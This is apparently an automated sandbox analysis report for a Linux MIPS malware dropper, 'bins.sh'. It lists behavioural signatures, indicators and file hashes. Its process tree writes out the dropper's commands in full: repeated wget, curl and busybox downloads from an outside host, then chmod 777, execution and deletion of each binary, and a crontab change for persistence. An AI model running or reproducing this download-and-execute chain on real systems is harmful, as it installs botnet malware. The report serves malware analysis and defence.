Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    13/11/2024, 22:27

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241113-2c3hdstpgr
  • SHA256 2a0ab9ddb88e2f319e7e5367b394b2cf342504d68b726571e1239d888ba40404
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1665) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 23 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:714
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:718
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:725
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:741
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:744
        • /bin/chmod
          chmod 777 A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m
          2⤵
          • File and Directory Permissions Modification
          PID:745
        • /tmp/A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m
          ./A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m
          2⤵
          • Executes dropped EXE
          PID:746
        • /bin/rm
          rm A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m
          2⤵
            PID:748
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:749
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:750
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:752
          • /bin/chmod
            chmod 777 NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J
            ./NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J
            2⤵
            • Executes dropped EXE
            PID:754
          • /bin/rm
            rm NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J
            2⤵
              PID:756
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:757
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:768
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:780
            • /bin/chmod
              chmod 777 84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
              2⤵
              • File and Directory Permissions Modification
              PID:784
            • /tmp/84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
              ./84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
              2⤵
              • Executes dropped EXE
              PID:786
            • /bin/rm
              rm 84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
              2⤵
                PID:789
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/zW87e5c6aH2F8rqb0yul6w9V18uHPCHIYB
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:790
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/zW87e5c6aH2F8rqb0yul6w9V18uHPCHIYB
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:800
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/zW87e5c6aH2F8rqb0yul6w9V18uHPCHIYB
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:813
              • /bin/chmod
                chmod 777 zW87e5c6aH2F8rqb0yul6w9V18uHPCHIYB
                2⤵
                • File and Directory Permissions Modification
                PID:814
              • /tmp/zW87e5c6aH2F8rqb0yul6w9V18uHPCHIYB
                ./zW87e5c6aH2F8rqb0yul6w9V18uHPCHIYB
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:815
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:817
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:818
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:819
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:820
                    • /bin/rm
                      rm zW87e5c6aH2F8rqb0yul6w9V18uHPCHIYB
                      2⤵
                        PID:822
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/vM6yXERkrkBAzeulbmz0voJENwQXQ2ja6O
                        2⤵
                        • System Network Configuration Discovery
                        PID:825
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/vM6yXERkrkBAzeulbmz0voJENwQXQ2ja6O
                        2⤵
                        • System Network Configuration Discovery
                        PID:906
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/vM6yXERkrkBAzeulbmz0voJENwQXQ2ja6O
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:907
                      • /bin/chmod
                        chmod 777 vM6yXERkrkBAzeulbmz0voJENwQXQ2ja6O
                        2⤵
                        • File and Directory Permissions Modification
                        PID:912
                      • /tmp/vM6yXERkrkBAzeulbmz0voJENwQXQ2ja6O
                        ./vM6yXERkrkBAzeulbmz0voJENwQXQ2ja6O
                        2⤵
                        • Executes dropped EXE
                        PID:913
                      • /bin/rm
                        rm vM6yXERkrkBAzeulbmz0voJENwQXQ2ja6O
                        2⤵
                          PID:915
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/GRiGtAsqDfR1jyDbYHpKzH8b0UN5Gk9yIz
                          2⤵
                          • System Network Configuration Discovery
                          PID:916
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/GRiGtAsqDfR1jyDbYHpKzH8b0UN5Gk9yIz
                          2⤵
                          • System Network Configuration Discovery
                          PID:917
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/GRiGtAsqDfR1jyDbYHpKzH8b0UN5Gk9yIz
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:918
                        • /bin/chmod
                          chmod 777 GRiGtAsqDfR1jyDbYHpKzH8b0UN5Gk9yIz
                          2⤵
                          • File and Directory Permissions Modification
                          PID:927
                        • /tmp/GRiGtAsqDfR1jyDbYHpKzH8b0UN5Gk9yIz
                          ./GRiGtAsqDfR1jyDbYHpKzH8b0UN5Gk9yIz
                          2⤵
                          • Executes dropped EXE
                          PID:928
                        • /bin/rm
                          rm GRiGtAsqDfR1jyDbYHpKzH8b0UN5Gk9yIz
                          2⤵
                            PID:930
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/lIaAGg82Vr6GeXKmHiv4lELympxeGoFdvE
                            2⤵
                            • System Network Configuration Discovery
                            PID:931
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/lIaAGg82Vr6GeXKmHiv4lELympxeGoFdvE
                            2⤵
                            • System Network Configuration Discovery
                            PID:932
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/lIaAGg82Vr6GeXKmHiv4lELympxeGoFdvE
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:933
                          • /bin/chmod
                            chmod 777 lIaAGg82Vr6GeXKmHiv4lELympxeGoFdvE
                            2⤵
                            • File and Directory Permissions Modification
                            PID:934
                          • /tmp/lIaAGg82Vr6GeXKmHiv4lELympxeGoFdvE
                            ./lIaAGg82Vr6GeXKmHiv4lELympxeGoFdvE
                            2⤵
                            • Executes dropped EXE
                            PID:935
                          • /bin/rm
                            rm lIaAGg82Vr6GeXKmHiv4lELympxeGoFdvE
                            2⤵
                              PID:941
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/UuR0umvGhqJ9EUAAvWU1B7gSmRnCXxIJNx
                              2⤵
                              • System Network Configuration Discovery
                              PID:942
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/UuR0umvGhqJ9EUAAvWU1B7gSmRnCXxIJNx
                              2⤵
                              • System Network Configuration Discovery
                              PID:943

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

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                                Downloads

                                84zJEHmamaz9O6V7VhaGDFe0W865iMc59O

                                • Path /tmp/84zJEHmamaz9O6V7VhaGDFe0W865iMc59O
                                • Size 151KB
                                • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                • MD5 SHA1 SHA512 SSDEEP

                                A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m

                                • Path /tmp/A1jA1OAA7tsFrtT29PRmQVtG8eNviMBJ3m
                                • Size 98KB
                                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                • MD5 SHA1 SHA512 SSDEEP

                                GRiGtAsqDfR1jyDbYHpKzH8b0UN5Gk9yIz

                                • Path /tmp/GRiGtAsqDfR1jyDbYHpKzH8b0UN5Gk9yIz
                                • Size 99KB
                                • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                • MD5 SHA1 SHA512 SSDEEP

                                NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J

                                • Path /tmp/NXhHAGYkMUxtpLztKYcBM4mpB5T9qPPR3J
                                • Size 119KB
                                • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                • MD5 SHA1 SHA512 SSDEEP

                                lIaAGg82Vr6GeXKmHiv4lELympxeGoFdvE

                                • Path /tmp/lIaAGg82Vr6GeXKmHiv4lELympxeGoFdvE
                                • Size 127KB
                                • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                • MD5 SHA1 SHA512 SSDEEP

                                vM6yXERkrkBAzeulbmz0voJENwQXQ2ja6O

                                • Path /tmp/vM6yXERkrkBAzeulbmz0voJENwQXQ2ja6O
                                • Size 112KB
                                • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                • MD5 SHA1 SHA512 SSDEEP

                                zW87e5c6aH2F8rqb0yul6w9V18uHPCHIYB

                                • Path /tmp/zW87e5c6aH2F8rqb0yul6w9V18uHPCHIYB
                                • Size 151KB
                                • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                • MD5 SHA1 SHA512 SSDEEP

                                tmp.cdN9yW

                                • Path /var/spool/cron/crontabs/tmp.cdN9yW
                                • Size 210B
                                • SHA256 6616e300499f08c2add112823c9d24e84a6de881a997fbf8e519a8d92e79a59f
                                • MD5 SHA1 SHA512